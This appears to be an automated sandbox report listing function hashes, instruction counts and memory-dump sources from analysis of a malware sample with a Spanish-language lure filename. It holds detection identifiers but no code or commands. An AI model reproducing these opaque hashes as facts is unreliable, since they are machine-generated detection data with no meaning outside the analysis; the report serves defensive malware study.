Opcode ID: 16c3cbb8070cde39a89c801fdfbbf83b4944f17ad90d086566c9c1d59b8d52af
Instruction ID: d485e7b682694bf0018577f89a32b1f0e0b15a0a6175cf01f1fcbce3b59557cb
Opcode Fuzzy Hash: 16c3cbb8070cde39a89c801fdfbbf83b4944f17ad90d086566c9c1d59b8d52af
Instruction Fuzzy Hash: A0319670B002095FEB249BB9C981B9EB6E6FF88720F208579E525E73C5CA719C018794

Function 38771215 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88cc65b7d8ff67e3ef2255052cb7613be8e1b35a91fdb10b3256682690be857c
Instruction ID: 3844c800e54d1c4f1f40b26ef8572e7186b356d45384ea0c3a9f0fb1940e2044
Opcode Fuzzy Hash: 88cc65b7d8ff67e3ef2255052cb7613be8e1b35a91fdb10b3256682690be857c
Instruction Fuzzy Hash: 6C31BD347003448FEF059B74C4583AE7BA7AF89240F204669E446EF392EE36DC42CBA5

Function 0011F8D8 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e4989a6ceee5aae6986648d4ec67fb53369ef12cb0d1ac33f9a8ac25a7371be
Instruction ID: 8e9ec2221377615af8160f14b13b8ce6b4d3f30c42642db04004bcc778710eb5
Opcode Fuzzy Hash: 3e4989a6ceee5aae6986648d4ec67fb53369ef12cb0d1ac33f9a8ac25a7371be
Instruction Fuzzy Hash: 9D316670B002096FEB249BBDC891B9EB6E6FB88764F208139F525E73C5CA719C018794

Function 38771228 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd987d4246cdceed5cf714d6c0e4583ba7818dc3da60e55cdac050dff213f57b
Instruction ID: d3a6e8cc9a0665ccfe2c9dfd5d2061fe913defd05c7768f55a43822d5bd9c90f
Opcode Fuzzy Hash: cd987d4246cdceed5cf714d6c0e4583ba7818dc3da60e55cdac050dff213f57b
Instruction Fuzzy Hash: 9E319E307002058FEB08AB74C4587AE7AE7AF89240F60466CE406DB395EE35DD42CBA5

Function 001163F0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c2b4382f5c10283d57fe82aaad8a2f4af793cf4168dc8846d6796ce6f0630d6
Instruction ID: 77172684e40f19eca688a95a58cdd381961ee9fad91ee3cc25c2c66274b1ee9b
Opcode Fuzzy Hash: 2c2b4382f5c10283d57fe82aaad8a2f4af793cf4168dc8846d6796ce6f0630d6
Instruction Fuzzy Hash: D5317230E002199BEB18DBA8D4447DEB7B2EF86310F218539E406EB650E776AD85CB50

Function 001163E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 117373a4e13921e42a42dfabfde019fa8bb24baeb8b42db4bf70e183e373da3c
Instruction ID: edab9b558d004341a27ca097f8841c82781b5b4a27e715fe04b2c9525038b7ed
Opcode Fuzzy Hash: 117373a4e13921e42a42dfabfde019fa8bb24baeb8b42db4bf70e183e373da3c
Instruction Fuzzy Hash: 53316530E102459FDB29CBA8D4507DEBBB2EF86310F208539E401FB251EB769D81CB51

Function 00112184 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d007b9f3cff4491d9f5c63fd52aea364825e5d2c8b672075992afe1f4dffba9
Instruction ID: a96f05f1790d93307747c4fc74cb53806b6e968cd097404b11280cf6be48616c
Opcode Fuzzy Hash: 5d007b9f3cff4491d9f5c63fd52aea364825e5d2c8b672075992afe1f4dffba9
Instruction Fuzzy Hash: 304112B1D003899FDB14CFA9D484ADEBFB1FF49304F24802AE809AB250DB759995CF91

Function 00112190 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d7977f52375a782dcfebbf35fe75f64f69ac9383d05f8cfd6062d297dd66ba9
Instruction ID: e062483c608663cbd6ea481cdff1e342ca660ee887ad0c4711fc63d51d7fa662
Opcode Fuzzy Hash: 2d7977f52375a782dcfebbf35fe75f64f69ac9383d05f8cfd6062d297dd66ba9
Instruction Fuzzy Hash: F44100B1D003499FDB14CFA9C484BDEBBB5FF48314F60802AE819AB250DB75A985CB90

Function 00111380 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f303884e1cb005b9f600d16d70026087da82377e808f35cf1fe39c6a328d08a
Instruction ID: 83db09e67def849c9755dd569dab7a6cd6df5f13792ef4db459a9fe18fc6d0db
Opcode Fuzzy Hash: 8f303884e1cb005b9f600d16d70026087da82377e808f35cf1fe39c6a328d08a
Instruction Fuzzy Hash: 2D21B030714641ABEF395768D8983AE7B21EB53361F50087AE606CBA90DB2DCCC18742

Function 001186E2 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b56892507a0d8900550be24460575256ba650f0dd822411ead33bc7fda50a5a
Instruction ID: 43697d35fc7fe4b5a56cf3463c425765d6a1e5f05309e8f2adc7dc59f82aa95e
Opcode Fuzzy Hash: 3b56892507a0d8900550be24460575256ba650f0dd822411ead33bc7fda50a5a
Instruction Fuzzy Hash: E8315434E002459BDB19DFA4C4946DEFBB2BF85340F64C669E405BB391DB709D86CB90

Function 38772EE0 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8b7661087a32d14223a5da85dbcb51f6777b188888bf6a6c20c1c28b6898490
Instruction ID: 430e88e2e7e2754b373dac927ff6a71e5c4074c847465f97cae5a25cea893a38
Opcode Fuzzy Hash: c8b7661087a32d14223a5da85dbcb51f6777b188888bf6a6c20c1c28b6898490
Instruction Fuzzy Hash: F1213D75F102159FDB51CF79C840AAEBBF2AB49310F108066FA15EB354E730D942CB64

Function 38772EF0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f891fe31f9510ce6d12a462a8e1b96c8e1195396e6682a8ac930772036719cc3
Instruction ID: 69a8abb1008e25323ad878f83fc7a83da51ee7f04ea1a41957f962b2a819b5e4
Opcode Fuzzy Hash: f891fe31f9510ce6d12a462a8e1b96c8e1195396e6682a8ac930772036719cc3
Instruction Fuzzy Hash: 76210A75F102159FDB51CF79C880AAEBBF6AB48310F108065FA19EB254EB31D942CBA4

Function 001186F0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5ae9e68efb95efaf2b97fa6d8db503e64acbc9e465fc21424caa70884e82a5a
Instruction ID: 46d396a53a03e374bec991e52687e7c8d31b50b342176f557bdae851f17c51d8
Opcode Fuzzy Hash: b5ae9e68efb95efaf2b97fa6d8db503e64acbc9e465fc21424caa70884e82a5a
Instruction Fuzzy Hash: 1B215134E102059BDB19DFA4C5946DEF7B2EF89340F64C629E805EB381EB709C86CB90

Function 00111550 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8d9c89a5b1e0fbce3ae54b670fbf8479deb33dbd3ca707a38fd6cbe994c7de3
Instruction ID: 77f72d3871bccfb195dfe79d3bdf10a5d9fd1499063772cc666bea5508eef9b9
Opcode Fuzzy Hash: e8d9c89a5b1e0fbce3ae54b670fbf8479deb33dbd3ca707a38fd6cbe994c7de3
Instruction Fuzzy Hash: 932134303002405FEB29D728CA887AD77A3EB86340F254975D246CB660EB75DCC7CB91

Function 00114E30 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4de124dde14c0cda6eb8658891780dd3dfa71eedfc8aaa210ad21af5f76e718f
Instruction ID: bd63f0df70c23eb4da96f5e80ba595655322f2bdd748c9319b084e674fd92ec1
Opcode Fuzzy Hash: 4de124dde14c0cda6eb8658891780dd3dfa71eedfc8aaa210ad21af5f76e718f
Instruction Fuzzy Hash: CF211934B01205CFDB18EB79C558AEE77F2AB49700F204578E506EB361DB799D41CB90

Function 0011172A Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21c7f26de4e983d50461fc3ed7b543b156bd8e330dc7aea0091f5d0d1923a502
Instruction ID: 99fb2a2a8fb294392f43741e1ec856b816b47da6a4265835dc16813701e6893d
Opcode Fuzzy Hash: 21c7f26de4e983d50461fc3ed7b543b156bd8e330dc7aea0091f5d0d1923a502
Instruction Fuzzy Hash: A5217C30B002059FDB29DBA4C5556EEBBF2AB49300F2008B9D205EB3A1DF358D80CBA1

Function 00116284 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac9f898bedbf43292807800f66922548ac83f0c9863da2cda33109a30f0d699a
Instruction ID: 8a9db19a857b9c64c874c5a3830290a9b5740f721f1b228cd7494b18fe8499c7
Opcode Fuzzy Hash: ac9f898bedbf43292807800f66922548ac83f0c9863da2cda33109a30f0d699a
Instruction Fuzzy Hash: E8218D70710211DFDB18AB60D854BAD77B2BF48704F20017CE616AB3A1CB369C82CB85

Function 000AD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7552878266.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e34cca6ed93edf61e5a992fec18d04786c74151c494d304ab406a9e36d87a383
Instruction ID: 8a0aa3f8d9f9b9952eeb1f96fafac81b99a5c927afebf2ac95498f96b3283232
Opcode Fuzzy Hash: e34cca6ed93edf61e5a992fec18d04786c74151c494d304ab406a9e36d87a383
Instruction Fuzzy Hash: A321F571604340EFDB24DF94D9C0F1ABBA1FB85314F24C56FE84A4B642C736D846CA62

Function 001185EE Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abdd41f5c7dfb326c0516303bffa65488d1b3eb6366afdbb52fd3138f9f297c9
Instruction ID: 74cdb036c12c1c0675a62f54dd450069d4ffecd6b61d0d81c9871d7407e14721
Opcode Fuzzy Hash: abdd41f5c7dfb326c0516303bffa65488d1b3eb6366afdbb52fd3138f9f297c9
Instruction Fuzzy Hash: EF212F30E002159BDB19CFA5D8506DEB7B2AF89310F60C62AE815FB350EF70A886CB50

Function 001185F0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34db500a6c19408f4a665a69a8f51a0168ddd96970b7945c9c685da9ea31009b
Instruction ID: bf424d8178a63a10c906d3e6f3459af1171619b7f11804e358f961b7f39ce795
Opcode Fuzzy Hash: 34db500a6c19408f4a665a69a8f51a0168ddd96970b7945c9c685da9ea31009b
Instruction Fuzzy Hash: 0E212F30E002159BDB19CFA5D8505DEB7B2AF89310F60C62AE815BB350EF70A886CB50

Function 00111738 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc41681a7a419ba0c4400a43bd68800d541fe44a552c0797b06791c8a8f9f492
Instruction ID: 416bdd42d4552e184109bf678aaca77f6dbbaf3b1acd9f7d126462800dacfdba
Opcode Fuzzy Hash: bc41681a7a419ba0c4400a43bd68800d541fe44a552c0797b06791c8a8f9f492
Instruction Fuzzy Hash: 05210934B012159FDB19EB64C5157EEB7F2AB49341F200878D206EB390DF759D81CBA5

Function 00111560 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8387cbebde34a1a4b0b9595192158bce343630a1dbd699e83e53a1d0d00656de
Instruction ID: 9061422b2c039732228ac977b09bc73410dbec30c890033aa5423523df3a640b
Opcode Fuzzy Hash: 8387cbebde34a1a4b0b9595192158bce343630a1dbd699e83e53a1d0d00656de
Instruction Fuzzy Hash: AA21D2307101409FEB28D728CA88BAE73A7EB95341F654978D246CB660EB75DCC7CB91

Function 387756F0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a4f737f1cef574f5dddbb9976b2046a88e89d51561e95bc3324fc3080b94d42
Instruction ID: 355c6669dfdaad9527ecfcffc668c6c53f16b2bbddf4b948539159ed6b248afb
Opcode Fuzzy Hash: 7a4f737f1cef574f5dddbb9976b2046a88e89d51561e95bc3324fc3080b94d42
Instruction Fuzzy Hash: D1215C34B00214DBEF04DB69D95469EBBA7EF88394F548529E505EB341EA31ED42CB90

Function 00114E40 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f555484d3f188887322123692caa808d9bb6a87c69a11f15a3b2acf1f2f6edd4
Instruction ID: 137d6d2c4b502ae92442d87803a96b7244157564b01ca0fe9664c22ad7a57105
Opcode Fuzzy Hash: f555484d3f188887322123692caa808d9bb6a87c69a11f15a3b2acf1f2f6edd4
Instruction Fuzzy Hash: E521E934B10105CFDB58EB79C958AAE77F2BB49740F204578E406EB361DB759D41CBA0

Function 38772491 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6972cf1d85374dc4e139a57a4ed207edcf922d237baeb76e016c89f96f5bec86
Instruction ID: d5b998182335c9d35c6f7492f766a2a57bd3b04a436ca8960a1d01c25547712b
Opcode Fuzzy Hash: 6972cf1d85374dc4e139a57a4ed207edcf922d237baeb76e016c89f96f5bec86
Instruction Fuzzy Hash: CC2190B5E103548BDF25DB74D8506EDBBF2EF89300F5045AAE516EB241DA318A41CBA1

Function 0011F570 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: addfee8f81b36d5bad271a219f5a1e5a422108474463cabc336489f2ee41cf93
Instruction ID: 5cb172e9a49ec4c8939e3a9f85c642f8a3f766b071b8569bf366b47dc0c83184
Opcode Fuzzy Hash: addfee8f81b36d5bad271a219f5a1e5a422108474463cabc336489f2ee41cf93
Instruction Fuzzy Hash: A31122367093504FDF0A9F746821AAE3FB3AFC621070044ABE806D7396CE354D0A87E6

Function 00111670 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3d7a1f664073b57644645a3ad9276b25de58a29c1a38128d34c85634a6b9549
Instruction ID: b1f69d8b437a74b2cabdcdd906a9c3d6fb065a642b75e377785d30a075174bbb
Opcode Fuzzy Hash: c3d7a1f664073b57644645a3ad9276b25de58a29c1a38128d34c85634a6b9549
Instruction Fuzzy Hash: A811E975F006109FDF209BB89C446DE7BE6EB49760F100575EA09E7340EF3489828795

Function 00110838 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f18ce7eb04b3231d80fac36175e884befac9a350d3e10085e290c5a9b06427f
Instruction ID: 1b8d9e7c576abd3a840d19b24ca3d694cde31af4c9d9eae6d6e5911a6962741d
Opcode Fuzzy Hash: 8f18ce7eb04b3231d80fac36175e884befac9a350d3e10085e290c5a9b06427f
Instruction Fuzzy Hash: 2A119130F0C3448BEF2E567499543E93751EB8A350F254979D146DF282DBA5CDC18BD2

Function 00110848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b9ba81e978445c993594c15aa64f8e1f9e17e2d74e01ed0a89793ef9d432f7f
Instruction ID: 636754c703e3820712a4a8305ae3568319d64f5fead9ccaeb1b75a6f4460fae8
Opcode Fuzzy Hash: 8b9ba81e978445c993594c15aa64f8e1f9e17e2d74e01ed0a89793ef9d432f7f
Instruction Fuzzy Hash: 5111A330F082048FEF6E9A75C9547AD3291EB89750F214979D106DF251EBB1DCC28BC1

Function 38773000 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20e8cb0a9e17b47fc75752132f5887c0ff5b1ee5e43b13474be383b89b7c18c7
Instruction ID: dcb11bad39bbdb6c96b4f7e310e3a38d740b18975f1da9d2fdab438263aa3147
Opcode Fuzzy Hash: 20e8cb0a9e17b47fc75752132f5887c0ff5b1ee5e43b13474be383b89b7c18c7
Instruction Fuzzy Hash: 1E11A135B001288FDF54DAA8D814AAE77EBAFC8311B404439D519EB384EE75DD02CBA1

Function 001114B0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5b7a29e23edaa4ed9cc350fec55f9e77cd4ea2363c35c34ff67369afd8530c5
Instruction ID: a644a71d79128d71c5267a676f87e7810a1dc805a3d8150721b65984b3d19c2d
Opcode Fuzzy Hash: d5b7a29e23edaa4ed9cc350fec55f9e77cd4ea2363c35c34ff67369afd8530c5
Instruction Fuzzy Hash: 85119131E042619FCF6AEFB894941DDBBA2EB89310B24047AD505E7641EB35C9C2CB91

Function 3877DBB8 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c03d8b22c4796c997034719293692523ff048d5fa6e575eb6e91448d953ddafe
Instruction ID: 54afe38eab8c2fa8a1f1c05e52bd52a7db7c134ee740605060432fa265614ad8
Opcode Fuzzy Hash: c03d8b22c4796c997034719293692523ff048d5fa6e575eb6e91448d953ddafe
Instruction Fuzzy Hash: EE01D435B086104FEB169A7C8420B6A7BE7DFCA390F148439F54ACB355DE65DC0387A1

Function 38772CB8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c197e8695058d415927452aa79059b2560dbfe052f51a31560a25abf1902d13d
Instruction ID: 4e341627745f1f918523a230fa4369d59f13318883eadc5113a31a70c964b1ff
Opcode Fuzzy Hash: c197e8695058d415927452aa79059b2560dbfe052f51a31560a25abf1902d13d
Instruction Fuzzy Hash: 352110B5D006599FCB00CFAAD884BDEFFB4BF09310F50856AE818B7201C3786654CBA5

Function 38773239 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 538ad3cd41beb39c9abd016b941ea5afa017fec9c2095e8e6da34b76ea1444f0
Instruction ID: 3aec6ec9c7aaca1a445b7e3bf7a1934541b067ebec7f77149a309932bbf0baf1
Opcode Fuzzy Hash: 538ad3cd41beb39c9abd016b941ea5afa017fec9c2095e8e6da34b76ea1444f0
Instruction Fuzzy Hash: 7201B135B001104BEB1196AD8854B6EA7D7DBC9350F60883EE10ACB391D975DC438391

Function 0011F128 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9d9ce0b05f410f4323423ec916429d7d8f6076f3027172bdf9629db0396dd08
Instruction ID: 9ff9fbcd2e45d44ae6cbbbeb889dfd0a65adfe89cf82059699c4dbbedc6b3431
Opcode Fuzzy Hash: b9d9ce0b05f410f4323423ec916429d7d8f6076f3027172bdf9629db0396dd08
Instruction Fuzzy Hash: 87116A768003499FDB10CF99C844BDEBBF4EF48320F148469E918B7200D335A991DFA5

Function 000AD02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7552878266.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ad000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9b74812fc9b6211a6ff9cd3dbf8337232158c31a5617ab15415c5f26af8a5d6
Instruction ID: 07b75b16294e8df7f1eb2f23581d79bef63b5f1af09834db3d12163b91d28a89
